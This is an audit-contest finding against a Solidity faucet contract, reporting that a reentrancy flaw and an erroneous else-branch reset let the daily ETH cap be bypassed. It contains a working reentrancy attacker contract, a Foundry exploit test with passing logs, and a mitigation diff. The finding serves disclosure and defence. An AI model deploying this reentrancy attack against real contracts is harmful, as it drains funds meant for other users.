Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-02] Daily ETH Drip Cap Can Be Bypassed Via Reentrancy, Leading to Fund Depletion

Description

Normal Behavior:
The RaiseBoxFaucet contract is designed to distribute a limited amount of Sepolia ETH to first-time users each day, governed by the dailySepEthCap state variable. The amount of ETH distributed is tracked by the dailyDrips counter, which should only reset at the beginning of a new day.

The Issue:
The claimFaucetTokens() function contains two vulnerabilities that, when combined, allow for the complete bypass of the daily ETH cap:

  1. Incorrect State Reset: The logic contains an else branch that incorrectly resets the dailyDrips counter to zero whenever a claim is made by a user who is not eligible for an ETH drip (e.g., a returning user).

  2. Reentrancy Vulnerability: The function transfers ETH using a low-level .call{value: ...} before all state changes are finalized (specifically, before lastClaimTime is updated). This violates the Checks-Effects-Interactions pattern and opens the door to a reentrancy attack.

An attacker can exploit this by deploying a smart contract that calls claimFaucetTokens(). When the faucet sends ETH to the attacker's contract, its receive() function is triggered, which re-enters the claimFaucetTokens() function.

On the re-entrant call, hasClaimedEth for the attacker contract is already true. This causes the execution to hit the flawed else branch, resetting dailyDrips to 0 immediately. The attacker can repeat this process by deploying new attacker contracts, allowing them to facilitate the draining of significantly more ETH than the dailySepEthCap allows within a single day.

// src/RaiseBoxFaucet.sol
function claimFaucetTokens() public {
// ... Checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... (Logic to check daily cap and prepare for drip)
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true; // Effect
dailyDrips += sepEthAmountToDrip; // Effect
@> (bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // Interaction (Reentrancy Point)
// ...
}
} else {
@> dailyDrips = 0; // Flawed reset logic triggered on re-entrant call
}
// ...
// The lastClaimTime update happens AFTER the external call, which is too late to prevent reentrancy.
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
// ...
}

Risk

Likelihood: High

  • The attack is straightforward to execute by deploying a simple contract. It does not require any special privileges or complex conditions.

Impact: High

  • The dailySepEthCap safeguard is rendered completely ineffective. An attacker can repeatedly reset the daily drip counter, enabling them and other users to drain a much larger amount of the contract's ETH balance than intended. This depletes funds meant for legitimate new users and undermines a core security mechanism of the faucet.

Proof of Concept (PoC)

The following Foundry test demonstrates how an attacker can use a contract to re-enter claimFaucetTokens() and reset the dailyDrips counter, allowing the daily ETH cap to be bypassed multiple times.

PoC Test Code (test/EthCapBypass_Reentrancy.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
/// @notice Attacker contract used to trigger reentrancy via ETH drip
contract AttackClaimer {
RaiseBoxFaucet public faucet;
constructor(RaiseBoxFaucet _faucet) {
faucet = _faucet;
}
/// @notice Initiates the first-time claim to receive ETH and trigger reentrancy
function attack() external {
faucet.claimFaucetTokens();
}
/// @notice Receive ETH from faucet and re-enter claimFaucetTokens
receive() external payable {
// On reentry, `hasClaimedEth[this]` is already true, so the faucet
// executes the else-branch and resets `dailyDrips` to zero.
faucet.claimFaucetTokens();
}
}
contract EthCapBypassReentrancyTest is Test {
RaiseBoxFaucet internal faucet;
uint256 internal sepEthDripAmount;
uint256 internal dailyEthCap;
function setUp() public {
// Configure small daily cap and drip amount for clarity
dailyEthCap = 0.015 ether; // allows 3 drips of 0.005 ether
sepEthDripAmount = 0.005 ether;
// faucetDrip set to a reasonable token amount
faucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
sepEthDripAmount,
dailyEthCap
);
// Fund faucet with ETH for drips
vm.deal(address(faucet), 10 ether);
// Advance time beyond the 3-day cooldown so first-time claimers can claim
vm.warp(block.timestamp + 3 days + 1);
}
/// @notice Demonstrates bypass of daily ETH cap by resetting `dailyDrips` via reentrancy
function test_BypassDailyEthCap_WithReentrancyResets() public {
console.log("--- Begin realistic ETH cap bypass via reentrancy ---");
console.log("Daily ETH cap:", dailyEthCap);
console.log("ETH per claim:", sepEthDripAmount);
uint256 totalEthToNewUsers;
// Perform multiple cycles: new user claims (drip), then attacker contract
// first-time claim triggers reentrancy and resets `dailyDrips` to zero.
for (uint256 i = 0; i < 5; i++) {
// New first-time user claims ETH
address newUser = address(uint160(1000 + i)); // avoid precompile addresses
vm.prank(newUser);
faucet.claimFaucetTokens();
totalEthToNewUsers += sepEthDripAmount;
console.log("New user claim #%d; dailyDrips:", i + 1, faucet.dailyDrips());
assertEq(newUser.balance, sepEthDripAmount, "New user should receive ETH drip");
// Deploy a fresh attacker for first-time claim to trigger reentrancy
AttackClaimer attacker = new AttackClaimer(faucet);
attacker.attack();
// After reentrancy, dailyDrips should be reset to zero within the same day
uint256 dripsNow = faucet.dailyDrips();
console.log("Attacker reentrancy executed; dailyDrips now:", dripsNow);
assertEq(dripsNow, 0, "dailyDrips must reset to zero due to else-branch");
assertEq(address(attacker).balance, sepEthDripAmount, "Attacker contract should receive ETH once");
}
console.log("Total ETH distributed to new users:", totalEthToNewUsers);
assertTrue(
totalEthToNewUsers > dailyEthCap,
"Total ETH to new users should exceed the daily cap due to resets"
);
console.log("--- Attack succeeded: ETH distributed exceeded daily cap in one day ---");
}
}

Test Execution and Results:

forge test --match-path test/EthCapBypass_Reentrancy.t.sol -vv

The test passes, and the logs confirm that dailyDrips is reset to 0 after each attacker's claim. This allows a total of 0.025 ether to be distributed to new users, successfully bypassing the 0.015 ether daily cap.

[PASS] test_BypassDailyEthCap_WithReentrancyResets() (gas: 2095572)
Logs:
--- Begin realistic ETH cap bypass via reentrancy ---
Daily ETH cap: 15000000000000000
ETH per claim: 5000000000000000
New user claim #1; dailyDrips: 5000000000000000
Attacker reentrancy executed; dailyDrips now: 0
New user claim #2; dailyDrips: 5000000000000000
Attacker reentrancy executed; dailyDrips now: 0
New user claim #3; dailyDrips: 5000000000000000
Attacker reentrancy executed; dailyDrips now: 0
New user claim #4; dailyDrips: 5000000000000000
Attacker reentrancy executed; dailyDrips now: 0
New user claim #5; dailyDrips: 5000000000000000
Attacker reentrancy executed; dailyDrips now: 0
Total ETH distributed to new users: 25000000000000000
--- Attack succeeded: ETH distributed exceeded daily cap in one day ---

Recommended Mitigation

A multi-pronged approach is recommended to fix this vulnerability:

  1. Remove the Flawed Reset Logic: The primary fix is to remove the else branch that incorrectly resets dailyDrips. The counter should only be reset at the beginning of a new day.

  2. Implement a Reentrancy Guard: To prevent this and other potential reentrancy attacks, use a well-audited reentrancy guard (like OpenZeppelin's ReentrancyGuard) and apply the nonReentrant modifier to the claimFaucetTokens() function.

  3. Adhere to Checks-Effects-Interactions: As a best practice, all state changes (Effects) should be made before external calls (Interactions). The lastClaimTime update should be moved before the ETH transfer.

Mitigation Diff:

// src/RaiseBoxFaucet.sol
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
// ...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ... (Reset logic for dailyClaimCount as per H-01 fix)
// ... (Checks)
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) {
revert RaiseBoxFaucet_EthTransferFailed();
}
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
- } else {
- dailyDrips = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
// ...
}

This combined fix removes the incorrect reset, prevents reentrancy, and makes the contract significantly more secure.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!